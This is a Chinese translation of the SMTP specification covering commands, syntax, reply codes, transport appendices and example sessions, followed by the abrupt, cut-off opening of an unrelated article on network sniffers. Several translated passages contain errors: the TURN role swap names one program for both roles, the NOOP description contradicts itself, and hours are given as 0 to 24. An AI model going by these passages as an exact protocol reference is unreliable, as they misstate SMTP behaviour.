回复路径包括一个可选的主机列表和发送者邮箱。当出现主机列表时，表示这是一个传送路径，邮件就是经过这个路径上的每个主机发送到这里的（列表上第一个主机是最后经手的主机）。此表用于返回非传递信号到发送者。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

SEND AND MAIL (SAML)

此命令用于开始一个邮件操作将邮件内容传送到一个或多个终端上，并传送到邮箱中。如果接收者终端打开，邮件内容将被传送到接收者的终端上和接收者的邮箱中。参数域包括回复路径，如果成功地将信息送到邮箱中此命令成功。

回复路径包括一个可选的主机列表和发送者邮箱。当出现主机列表时，表示这是一个传送路径，邮件就是经过这个路径上的每个主机发送到这里的（列表上第一个主机是最后经手的主机）。此表用于返回非传递信号到发送者。因为每个传递主机地址都被加在此表起始处，它就必须使用发送IPCE而不是接收IPCE（如果它们不是一个IPCE的话）清楚的名称。一些出错信息的回复路径可能就是空的。

此命令清除回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区，并且将此命令的回复路径信息插入到回复路径缓冲区中。

RESET (RSET)

此命令指示当送邮件操作将被放弃。任何保存的发送者，接收者和邮件内容应该被抛弃，所有缓冲区和状态表应该被清除，接收方必须返回OK应答。

VERIFY (VRFY)

此命令要求接收者确认参数是一个用户。如果这是（已经知道的）用户名，返回用户的全名和指定的邮箱。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。 EXPAND (EXPN)

此命令要求接收者确认参数指定了一个邮件发送列表，如果是一个邮件发送列表，就返回表中的成员。如果这是（已经知道的）用户名，返回用户的全名和指定的邮箱。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。

HELP (HELP)

此命令导致接收者向HELP命令的发送者发出帮助信息。此命令可以带参数，并返回特定的信息作为应答。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。

NOOP (NOOP)

此命令不影响任何参数和已经发出的命令。它只是说明没有任何操作而不是说明接收者发送了一个OK应答。此命令对回复路径缓冲区，转发路径缓冲区和邮件内容缓冲区没有影响。

QUIT (QUIT)

此命令指示接收方必须发送OK应答然后关闭传送信道。接收方在接到QUIT命令并做出响应之前不应该关闭通信信道。发送方在发送QUIT命令和接收到响应之前也不应该关闭信道。即使出错，也不应该关闭信道。如果连接被提前关闭，接收方应该象接收到RSET命令一样，取消所有等待的操作，但不恢复原先已经做过的操作。而发送方应该象接收到暂时错误（4XX）一样假定命令和操作仍在支持之中。

TURN (TURN)

此命令指定接收方要么发送OK应答并改变角色为发送SMTP，要么发送拒绝信息并保持自己的角色。如果程序A现在是发送SMTP，它发出TURN命令后接收到OK（250）应答，它就变成了接收SMTP。程序A就进入初始状态，好象通信信道刚打开一样，这时它发送220准备好服务信号。如果程序B现在是接收SMTP，它发出TURN命令后接收到OK（250）应答，它就变成了发送SMTP。程序A就进入初始状态，好象通信信道刚打开一样，这时它准备接收220准备好服务信号。

若要拒绝改变角色，接收方可以发送502应答。

对于这些命令的顺序有一定的限制。对话的第一个命令必须是HELLO命令，此命令在此后的会话中也可以使用。如果HELLO命令的参数不可接受，必须由返回一个501失败应答，同时接收到的SMTP必须保持在与刚才一致的状态下。 NOOP，HELP,EXPN和VRFY命令可以在会话的任何时候使用。MAIL，SEND，SOML或SAML命令开始一个邮件操作。一旦开始了以后就要发送RCPT和DATA命令。邮件操作可以由RSET命令终止。在一个会话中可以有一个或多个操作。

如果在操作开始参数不可接受，必须返回501失败应答，同时接收到的SMTP必须保持在与刚才一致的状态下。如果操作中的命令顺序出错，必须返回503失败应答，同时接收到的SMTP必须保持在与刚才一致的状态下。

会话的最后一个命令必须是QUIT命令。此命令在会话的其它时间不能使用。

4.1.2. COMMAND语法格式

命令是由命令码和其后的参数域组成的。命令码是四个字母组成的，不区别大小写。因为下面的命令的作用是相同的：

MAIL Mail mail MaIl mAIl

这对于引导任何参数值的标记也是适用的，如TO和to就是一样的。命令码和参数由一个或多个空格分开。然而在回复路径和转发路径中的参数是区别大小写的。特别是在一些主机上，"smith"和"Smith"就根本不是一个用户。

参数域由不定长的字符串组成，它由<CRLF>结束，接收方在完全接收到此序列前不会采取任何行动。方括号代表可选的参数域。如果不选择的话，系统选择默认的设置。

下面是SMTP命令： HELO <SP> <domain> <CRLF> MAIL <SP> FROM:<reverse-path> <CRLF>

RCPT <SP> TO:<forward-path> <CRLF>

DATA <CRLF>

RSET <CRLF>

SEND <SP> FROM:<reverse-path> <CRLF>

SOML <SP> FROM:<reverse-path> <CRLF>

SAML <SP> FROM:<reverse-path> <CRLF>

VRFY <SP> <string> <CRLF>

EXPN <SP> <string> <CRLF>

HELP [<SP> <string>] <CRLF>

NOOP <CRLF>

QUIT <CRLF>

TURN <CRLF>

上面参数域的格式在下面给BNF的格式给出，其中的"..."代表对于一个域的一次或多次的重复。

<reverse-path> ::= <path>

<forward-path> ::= <path>

<path> ::= "<" [ <a-d-l> ":" ] <mailbox> ">"

<a-d-l> ::= <at-domain> | <at-domain> "," <a-d-l>

<at-domain> ::= "@" <domain>

<domain> ::= <element> | <element> "." <domain>

<element> ::= <name> | "#" <number> | "[" <dotnum> "]"

<mailbox> ::= <local-part> "@" <domain>

<local-part> ::= <dot-string> | <quoted-string>

<name> ::= <a> <ldh-str> <let-dig>

<ldh-str> ::= <let-dig-hyp> | <let-dig-hyp> <ldh-str>

<let-dig> ::= <a> | <d>

<let-dig-hyp> ::= <a> | <d> | "-"

<dot-string> ::= <字符串> | <字符串> "." <dot-string>

<字符串> ::= <字符> | <字符> <字符串>

<quoted-string> ::= """ <qtext> """

<qtext> ::= "\" <x> | "\" <x> <qtext> | <q> | <q> <qtext>

<字符> ::= <c> | "\" <x>

<dotnum> ::= <snum> "." <snum> "." <snum> "." <snum>

<number> ::= <d> | <d> <number>

<CRLF> ::= <CR> <LF>

<CR> ::= 回车符（ASCII码13） <LF> ::= （ASCII码10）

<SP> ::= 空格（ASCII码32） <snum> ::=由一个，两个或三个数字组成的介于0-255之间的数字

<a> ::= 所有A-Z的52个大小写英文字母

<c> ::= 128个ASCII字符，但不包括空格和特殊字符

<d> ::= 0-9数字

<q> ::=不包括<CR>，<LF>，"或\的128个ASCII字符

<x> ::=所有128个ASCII字符

<special> ::= "<" | ">" | "(" | ")" | "[" | "]" | "\" | "." | "," | ";" | ":" | "@" """ 或控制字符

注意： "\"是一个转意字符，它表示在其后的字符代表另外的意义。例如"Joe\,Smith"用于表示单独一个由逗号分隔的用户名。主机通常由转化为地址的名称代表。注意：域的名称元素是正式的名称，不能够使用昵称或假名。

有时候名称的转变机制可能不知道主机，这就造成了通信的阻塞。为了解决这个问题，可以采取两种方法：一种方法是：在"#"后加入一个十进制数表示主机地址；另一种方法是在其后加入32位的IP地址，IP地址的形式是由句号分隔的四个介于0-255之间的十进制数。时间戳行和返回路径行的格式通常由下面定义：

<return-path-line> ::= "Return-Path:" <SP><reverse-path><CRLF>

<time-stamp-line> ::= "Received:" <SP> <stamp> <CRLF>

<stamp> ::= <from-domain> <by-domain> <opt-info> ";" <daytime>

<from-domain> ::= "FROM" <SP> <域> <SP>

<by-domain> ::= "BY" <SP> <域> <SP>

<opt-info> ::= [<via>] [<with>] [<id>] [<for>]

<via> ::= "VIA" <SP> <连接> <SP>

<with> ::= "WITH" <SP> <协议> <SP>

<id> ::= "ID" <SP> <字符串> <SP>

<for> ::= "FOR" <SP> <路径> <SP>

<连接> ::= 在网络信息中心注册的连接的标准名称

<协议> ::= 在网络中心注册的协议的名称

<daytime> ::= <SP> <日期> <SP> <时间>

<日期> ::= <日> <SP> <月> <SP> <年>

<时间> ::= <小时> ":" <分> ":" <秒> <SP> <时区>

<dd> ::= 由一个或两个数字组成的每月1-31日

<月> ::= "JAN" | "FEB" | "MAR" | "APR" | "MAY" | "JUN" | "JUL" | "AUG" | "SEP" | "OCT" | "NOV" | "DEC"

<年> ::= 由两位数字表示本世界的年代00-99

<小时> ::= 每天的24小时，由0到24

<分> ::= 每小时的分钟数0-59

<秒> ::= 每分钟的秒数0-59

<时区> ::= 全球标准时区

-------------------------------------------------------------

返回路径例子

Return-Path: <@CHARLIE.ARPA,@BAKER.ARPA:JOE@ABLE.ARPA>

-------------------------------------------------------------

-------------------------------------------------------------

时间戳行例子

Received: FROM ABC.ARPA BY XYZ.ARPA ; 22 OCT 81 09:23:59 PDT

Received: from ABC.ARPA by XYZ.ARPA via TELENET with X25

id M12345 for Smith@PDQ.ARPA ; 22 OCT 81 09:23:59 PDT

-------------------------------------------------------------

4.2. SMTP响应

对SMTP命令的响应是多样的，它确定了在邮件传输过程中请求和处理的同步，也保证了发送SMTP知道接收SMTP的状态。每个命令必须有且只有一个响应。

SMTP响应由三位数字组成，其后跟一些文本。数字帮助决定下一个应该进入的状态，而文本对人是有意义的。三位的响应已经包括了足够的信息，不用再阅读文本，文本可以直接抛弃或者传递给用户。特别的是，文本是与接收和环境相关的，所以每次接收到的文本可能不同。在附录E中可以看到全部的响应码。正规的情况下，响应由下面序列构成：三位的数字，<SP>，一行文本和一个<CRLF>，或者也可以是一个多行响应。只有EXPN和HELP命令可以导致多行应答，然而，对所有命令，多行响应都是允许的。

4.2.1. REPLY CODES BY FUNCTION GROUPS 500 格式错误，命令不可识别（此错误也包括命令行过长）

501 参数格式错误

502 命令不可实现

503 错误的命令序列

504 命令参数不可实现

211 系统状态或系统帮助响应

214 帮助信息

220 <domain> 服务就绪

221 <domain> 服务关闭传输信道

421 <domain> 服务未就绪，关闭传输信道（当必须关闭时，此应答可以作为对任何命令的响应）

250 要求的邮件操作完成

251 用户非本地，将转发向<forward-path>

450 要求的邮件操作未完成，邮箱不可用（例如，邮箱忙）

550 要求的邮件操作未完成，邮箱不可用（例如，邮箱未找到，或不可访问）

451 放弃要求的操作；处理过程中出错

551 用户非本地，请尝试<forward-path>

452 系统存储不足，要求的操作未执行

552 过量的存储分配，要求的操作未执行

553 邮箱名不可用，要求的操作未执行（例如邮箱格式错误）

354 开始邮件输入，以<CRLF>.<CRLF>结束

554 操作失败

4.3. 命令和应答序列

发送者和接收者之间的通信是一问一答的交替对话形式，由发送者控制。这样，发送发出一条命令，接收者发出一个响应。接收者在发送下一条指令前必须等应答。一个重要的应答是连接应答。在连接完成时，接收者通常会发送220“服务就绪”。发送者在继续发送指令前会等待此应答。注意：每个连接应答必须拥有服务主机的正式名称作为第一部分，其后跟响应码。例如：

220 <SP> USC-ISIF.ARPA <SP> Service ready <CRLF>

下面列出了成功和失败应答，这些应答必须遵守严格的次序，接收者可以不理会应答中的文本，但是由数字指定的意义和操作和命令应答序列不能更改。命令响应序列：

每个命令列出了它可能的应答。使用在可能应答前的前缀“P”表示预备的（未用在SMTP中），“I”表示中间的，“S”表示成功，“F”表示失败，“E”表示错误。如果STMP接收者必须关闭信道，可以对任何命令作出421（服务不可用，关闭传输信道）响应。此表基于下面要讲述的状态图：

CONNECTION ESTABLISHMENT（建立连接）

S: 220

F: 421

HELO

S: 250

E: 500, 501, 504, 421

MAIL

S: 250

F: 552, 451, 452

E: 500, 501, 421

RCPT S: 250, 251 F: 550, 551, 552, 553, 450, 451, 452 E: 500, 501, 503, 421

DATA

I: 354 -> data -> S: 250

F: 552, 554, 451, 452

F: 451, 554

E: 500, 501, 503, 421

RSET

S: 250

E: 500, 501, 504, 421

SEND

S: 250

F: 552, 451, 452

E: 500, 501, 502, 421

SOML

S: 250

F: 552, 451, 452

E: 500, 501, 502, 421

SAML

S: 250

F: 552, 451, 452

E: 500, 501, 502, 421

VRFY

S: 250, 251

F: 550, 551, 553

E: 500, 501, 502, 504, 421

EXPN

S: 250

F: 550

E: 500, 501, 502, 504, 421

HELP

S: 211, 214

E: 500, 501, 502, 504, 421

NOOP

S: 250

E: 500, 421

QUIT

S: 221

E: 500

TURN

S: 250

F: 502

E: 500, 503

4.4. 状态图

下面状态图是一个简单的SMTP实现，每一组命令都有一个状态图。在图中，只使用了响应码的第一位数字作为响应的代表。命令组是对每个命令建立模式然后以结构模式将命令集中起来的。对于每个命令有三种可能的应答：成功（S），失败（F）和错误（E）。在状态中，我们使用B代表开始，使用W代表等待应答。

此状态图使用了如下命令：HELO, MAIL, RCPT, RSET, SEND, SOML, SAML, VRFY, EXPN, HELP, NOOP, QUIT, TURN.

下面是对于DATA命令的更复杂的状态图：

注意：这里的邮件内容是多行的，接收者只能收到最后一行时才发出应答。

4.5. 详细内容

4.5.1. 最小实现

为使SMTP能够工作，对于接收者来说，这是最少应该实现的命令：

COMMANDS -- HELO

MAIL

RCPT

DATA

RSET

NOOP

QUIT

4.5.2. 透明性

没有对数据透明性的保证，在发送类似"<CRLF>.<CRLF>"结束邮件内容时会发生错误。通常，用户不关心这个“非法”序列。若要所有用户能够透明地使用必须使用以下措施：

1. 在发送邮件之间，发送SMTP必须检查邮件的每一行，如果是一个句号，就在行首再加一个句号。

2. 当邮件被接收时，接收SMTP必须检查邮件的每一行，如果发现一行仅有一个句号，邮件就此结束，如果一行中有两个句号，那么这一行中就只应该有一个句号，而将第一个句号删除。

发送的邮件内容可以包括所有128个ASCII字符。所有字符发送到收信者的邮箱，包括格式符号和其它控制字符。如果传输信道提供一个8位数据流，7位的ASCII码就可以在其中传送，而将最高位置为0。一些系统在接收和存储时需要对数据进行格式转换。对于使用不同于ASCII字符集的主机或不能以串的形式而只能以记录形式存储的主机更是如此，如果必须进行转换，必须能够再次转换回来，对于用于存储转发的主机更是如此。

4.5.3. 大小

一些对象需要最大和最小大小。也就是说，每个实现必须能够接收大于最小大小的对象，不能发送大于最大大小的对象。对于可能的最大大小，实现技术上并没有限制。

用户
用户名的最大长度是64个字节。

域
域的最大长度是64个字符

路径
回复路径和转发路径的最大长度是256个字符

命令行
命令行的最大长度，包括回车符为512个字符

应答行
应答行的最大长度，包括回车符为512个字符

文本行
文本行的最大长度，包括回车符和为透明性增加的字符不得超过1000个字符

接收缓冲区
接收缓冲区最多可以容纳100个接收者

如果出错，应答如下：

500 行过长

501 路径过多

552 接收者过多

552 邮件内容过多

附录 A TCP传输服务

传输控制协议（TCP）在ARPA Internet中使用，并遵守网络协议的US DoD标准。

SMTP传输信道连接建立在发送进程的端口U和接收进程的端口L上。一个单一的全双工信道用于传输。被指定用于此协议的服务端口为25，也就是说L=25。TCP连接支持传输8位字节，而SMTP只需要传输7位；这样，每个8位字符的最高位被置为0。

附录 B NCP传输服务

ARPANET主机-主机协议（由网络控制程序实现）也可以用于ARPANET。SMTP传输信道连接建立在发送进程的端口U和接收进程的端口L上；其后，根据初始连接协议（ICP）建立一对简单连接。这一对简单连接被用作传输信道。此协议被指定为连接套接字25，也就是说L=25。NCP连接支持传输8位字节，而SMTP只需要传输7位；这样，每个8位字符的最高位被置为0。

附录 C NITS

也可以使用网络独立转输服务。通过在NITS在发送进程和接收进程之间建立传输信道。发送进程执行CONNECT原语，然后等待接收ACCEPT原语。NITS连接支持传输8位字节，而SMTP只需要传输7位；这样，每个8位字符的最高位被置为0。

附录 D X.25传输服务

可以直接使用公共数据网络接收的X.25服务，然而，推荐在其上使用可靠的端到端的协议如TCP。

附录 E 应答码构成方法
三位的应答码每一位都有特定的意义。每一位应答表示是否是成功的，失败的或未完成的。通过这一位，不复杂的SMTP发送就可以决定下一步的操作，如果发送方希望大概了解究竟出了什么问题，它可以检测第二位，而第三位则保存了最后更完整的信息。也就是说，从第一位到第三位，接收方可以一步比一步精确地确定接收方的状态。对于第一位有五种可能的表示代表不同的意义：

1yz 部分完成应答

命令被接受，但是要求的操作被中止，原因在应答码中。发送方应该再次发送另一命令指明是否继续操作，或者放弃操作。

2yz 全部完成应答

要求的操作已经完成，可以开始另一个新的请求。

3yz 需要近一步信息的部分完成应答

命令被接受，但是要求的操作被中止，需要接收进一步的信息。发送方应该发送另一条命令指明进一步的信息。

4yz 暂时未完成应答

命令未被接受，要求的操作也未执行，但是发生错误的状态是暂时的，可以再一次请求操作。发送者应该返回命令序列的开始命令（如果有的话）。很难解释这个暂时的意义，特别对于两个不同的站点来说。区别应答是属于些类还是下一类的方法是：如果能够不加任何改变地重复的再一次发送命令，就是本类的，如果不是，就是下一类（5yz）的。

5yz 永久未完成应答

命令未被接受，要求的操作未完成。发送对命令的重复不起作用。即使一些出错条件已经改变，但是用户已经不希望重试，而希望在未来的某个时间再进行操作。

应答的第二位的意义有以下几类：

x0z 语法：此类型的应答是针对以下情况的：语法错误；符合语法但命令不存在功能；未完成或冗余的命令。

x1z 信息：此类型的应答是用于请求信息的，如状态或帮助信息。

x2z 连接：此类型的应答是关于传输信道的。

x3z 未使用。

x4z 未使用。

x5z 邮件系统：此类型的应答指明接收方邮件系统关于请求传送或其它操作的状态的。

第三位给出了更详细的说明。列出的应答表说明了这一点。文本应答是推荐使用的，而不是必须使用的，它的内容是可以根据不同情况而变化的。另一方面，应答码必须严格遵守本节的说明。接收方不应该因为稍稍的不同情况而自己创建新的代码而不使用已经定义的代码。例如，如NOOP命令的情况，如果成功执行它后，不用返回任何新的信息，只用返回250应答。当发送的命令要求一个未实现的站点指定操作时，应答应该是502。

应答文本可能多于一行；在此情况下，文本必须被标记，接收文本的一方才不致于少读入一行数据。这要求特定的格式说明多行应答。此格式是：每一行，除了最后一行外，都以应答码加一个"-"开始。而最后一行以应答码加空格<SP>开始。如下例：

123-First line

123-Second line

123-234 text beginning with numbers

123 The last line

通常情况下，接收的一方只用寻找应答码加空格的那一行就可以，而忽略前面行的内容。在特殊的情况下，发送方必须知道响应文本的内容，这时接收应答的一方可以通过当时的情况正确地决定是否需要知道文本的内容。

附录 F 一些例子

本节提供了一些SMTP会话的完整例子。

典型的SMTP操作

此类显示邮件如何由在USC-ISIF和机上的Smith发送到BBN-UNIX主机上Jones，Green和Brown的。这里，我们假设USC-ISIF主机直接和BBN-UNIX主机联系。Jones和Brown接收邮件，而Green在BBN-UNIX上没有邮箱。

-------------------------------------------------------------

R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIF.ARPA

R: 250 BBN-UNIX.ARPA

S: MAIL FROM:<Smith@USC-ISIF.ARPA>

R: 250 OK

S: RCPT TO:<Jones@BBN-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<Green@BBN-UNIX.ARPA>

R: 550 No such user here

S: RCPT TO:<Brown@BBN-UNIX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 BBN-UNIX.ARPA Service closing transmission channel

-------------------------------------------------------------

放弃SMTP操作

-------------------------------------------------------------

R: 220 MIT-Multics.ARPA Simple Mail Transfer Service Ready

S: HELO ISI-VAXA.ARPA R: 250 MIT-Multics.ARPA

S: MAIL FROM:<Smith@ISI-VAXA.ARPA>

R: 250 OK

S: RCPT TO:<Jones@MIT-Multics.ARPA>

R: 250 OK

S: RCPT TO:<Green@MIT-Multics.ARPA>

R: 550 No such user here

S: RSET

R: 250 OK

S: QUIT

R: 221 MIT-Multics.ARPA Service closing transmission channel

-------------------------------------------------------------

转发邮件

-------------------------------------------------------------

第一步：源主机到转发主机

R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-AI.ARPA

R: 250 USC-ISIE.ARPA

S: MAIL FROM:<JQP@MIT-AI.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:Jones@BBN-VAX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Date: 2 Nov 81 22:33:44

S: From: John Q. Public <JQP@MIT-AI.ARPA>

S: Subject: The Next Meeting of the Board

S: To: Jones@BBN-Vax.ARPA

S:

S: Bill:

S: The next meeting of the board of directors will be

S: on Tuesday.

S: John.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIE.ARPA Service closing transmission channel

第二步：转发主机到目的主机

R: 220 BBN-VAX.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIE.ARPA

R: 250 BBN-VAX.ARPA

S: MAIL FROM:<@USC-ISIE.ARPA:JQP@MIT-AI.ARPA>

R: 250 OK

S: RCPT TO:<Jones@BBN-VAX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Received: from MIT-AI.ARPA by USC-ISIE.ARPA ;

2 Nov 81 22:40:10 UT

S: Date: 2 Nov 81 22:33:44

S: From: John Q. Public <JQP@MIT-AI.ARPA>

S: Subject: The Next Meeting of the Board

S: To: Jones@BBN-Vax.ARPA

S:

S: Bill:

S: The next meeting of the board of directors will be

S: on Tuesday.

S: John.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIE.ARPA Service closing transmission channel

-------------------------------------------------------------

确认和发送

-------------------------------------------------------------

R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-MC.ARPA

R: 250 SU-SCORE.ARPA

S: VRFY Crispin

R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

S: SEND FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 SU-SCORE.ARPA Service closing transmission channel

-------------------------------------------------------------

获得和发送邮件 首先确定用户名，然后尝试将邮件发送到用户终端，当它失败时，发送到用户邮箱。

-------------------------------------------------------------

R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-MC.ARPA

R: 250 SU-SCORE.ARPA

S: VRFY Crispin

R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

S: SEND FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 450 User not active now

S: RSET

R: 250 OK

S: MAIL FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 SU-SCORE.ARPA Service closing transmission channel

-------------------------------------------------------------

上述问题的更有效的作法

-------------------------------------------------------------

R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready

S: HELO MIT-MC.ARPA

R: 250 SU-SCORE.ARPA

S: VRFY Crispin

R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

S: SOML FROM:<EAK@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>

R: 250 User not active now, so will do mail.

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 SU-SCORE.ARPA Service closing transmission channel

-------------------------------------------------------------

邮件列表 首先，两个邮件列表中的每一个在不同主机的不同会话上扩展，然后，通过转发主机向列表上的用户发送邮件。

-------------------------------------------------------------

第一步：扩展第一个列表

R: 220 MIT-AI.ARPA Simple Mail Transfer Service Ready

S: HELO SU-SCORE.ARPA

R: 250 MIT-AI.ARPA

S: EXPN Example-People

R: 250-<ABC@MIT-MC.ARPA>

R: 250-Fred Fonebone <Fonebone@USC-ISIQ.ARPA>

R: 250-Xenon Y. Zither <XYZ@MIT-AI.ARPA>

R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250-<joe@foo-unix.ARPA>

R: 250 <xyz@bar-unix.ARPA>

S: QUIT

R: 221 MIT-AI.ARPA Service closing transmission channel

第二步：扩展第二个列表

R: 220 MIT-MC.ARPA Simple Mail Transfer Service Ready

S: HELO SU-SCORE.ARPA

R: 250 MIT-MC.ARPA

S: EXPN Interested-Parties

R: 250-Al Calico <ABC@MIT-MC.ARPA>

R: 250-<XYZ@MIT-AI.ARPA>

R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250-<fred@BBN-UNIX.ARPA>

R: 250 <xyz@bar-unix.ARPA>

S: QUIT

R: 221 MIT-MC.ARPA Service closing transmission channel

第三步：通过转发主机向包括于两个列表中的所有用户发送邮件

R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready

S: HELO SU-SCORE.ARPA

R: 250 USC-ISIE.ARPA

S: MAIL FROM:<Account.Person@SU-SCORE.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:ABC@MIT-MC.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:Fonebone@USC-ISIQA.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:XYZ@MIT-AI.ARPA>

R: 250 OK

S: RCPT

TO:<@USC-ISIE.ARPA,@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:joe@FOO-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:xyz@BAR-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<@USC-ISIE.ARPA:fred@BBN-UNIX.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIE.ARPA Service closing transmission channel

-------------------------------------------------------------

转发的情况

-------------------------------------------------------------

R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready

S: HELO LBL-UNIX.ARPA

R: 250 USC-ISIF.ARPA

S: MAIL FROM:<mo@LBL-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<fred@USC-ISIF.ARPA>

R: 251 User not local; will forward to <Jones@USC-ISI.ARPA>

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISIF.ARPA Service closing transmission channel

-------------------------------------------------------------

-------------------------------------------------------------

第一步：尝试第一台主机上的邮箱

R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready

S: HELO LBL-UNIX.ARPA

R: 250 USC-ISIF.ARPA

S: MAIL FROM:<mo@LBL-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<fred@USC-ISIF.ARPA>

R: 251 User not local; will forward to <Jones@USC-ISI.ARPA>

S: RSET

R: 250 OK

S: QUIT

R: 221 USC-ISIF.ARPA Service closing transmission channel

第二步：尝试第二台主机上的邮箱

R: 220 USC-ISI.ARPA Simple Mail Transfer Service Ready

S: HELO LBL-UNIX.ARPA

R: 250 USC-ISI.ARPA

S: MAIL FROM:<mo@LBL-UNIX.ARPA>

R: 250 OK

S: RCPT TO:<Jones@USC-ISI.ARPA>

R: OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 USC-ISI.ARPA Service closing transmission channel

-------------------------------------------------------------

许多接收者的情况

-------------------------------------------------------------

R: 220 BERKELEY.ARPA Simple Mail Transfer Service Ready

S: HELO USC-ISIF.ARPA

R: 250 BERKELEY.ARPA

S: MAIL FROM:<Postel@USC-ISIF.ARPA>

R: 250 OK

S: RCPT TO:<fabry@BERKELEY.ARPA>

R: 250 OK

S: RCPT TO:<eric@BERKELEY.ARPA>

R: 552 Recipient storage full, try again in another transaction

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: MAIL FROM:<Postel@USC-ISIF.ARPA>

R: 250 OK

S: RCPT TO:<eric@BERKELEY.ARPA>

R: 250 OK

S: DATA

R: 354 Start mail input; end with <CRLF>.<CRLF>

S: Blah blah blah...

S: ...etc. etc. etc.

S: .

R: 250 OK

S: QUIT

R: 221 BERKELEY.ARPA Service closing transmission channel

-------------------------------------------------------------

<CRLF>
回车

<SP>
空格

ASCII
美国标准信息交换码

主机
拥有SMTP进程或邮箱的网络计算机

发送SMTP进程
与接收SMTP进程一起工作的进程。发送SMTP开始传输服务连接，它发出SMTP命令，接收应答，管理邮件的传送

用户
希望获得邮件服务的人（或以人的名义出现的进程），还有就是邮件的接收者。

会话
当传输信道打开时进行的一系列信息交换

传输服务
可靠的面向流的数据通信服务。例如：NCP，TCP，NITS。

传输信道
在发送SMTP和接收SMTP之间建立的全双工的用于交换命令，应答和邮件内容的信道

字符
可显示字符串

行
以一个<CRLF>结束的邮件内容

应答
接收SMTP对发送SMTP的通过传输信道发送的的对某一命令的（成功或不成功的）响应。应答的一般格式是应答码加一段文本。通常情况下，应答码供机器使用，而文本用于人类用户使用

邮件内容
一系列的字符串，它们符合ARPA Internet文本信息格式标准的标准字符集

邮件内容结束标记
标明邮件内容结束的特定字符

邮箱
指定应该向何处发向用户的信件的地址（字符串）。它通常由用户名和主机名表示

命令
由发送SMTP发送到接收SMTP的要求一个邮件服务操作的请求

域
邮件系统中主机地址字符串的层次式表示

接收SMTP进程
与发送SMTP进程一起工作的进程。它等待通过传输服务建立的连接。它接收发送SMTP发出的命令，给出应答并执行相应的操作

操作
一个信息由一个接收者发送到另一个或多个接收者的一系列操作


简述Sniffer

原创：xundi（xundi）

I 什么是SNIFFER呢？

一般我们在讲的SNIFFER程序是把NIC（网络适配卡，一般如以太网卡）置为一种
叫promiscuous杂乱模式的状态，一旦网卡设置为这种模式，它就能是SNIFFER程序
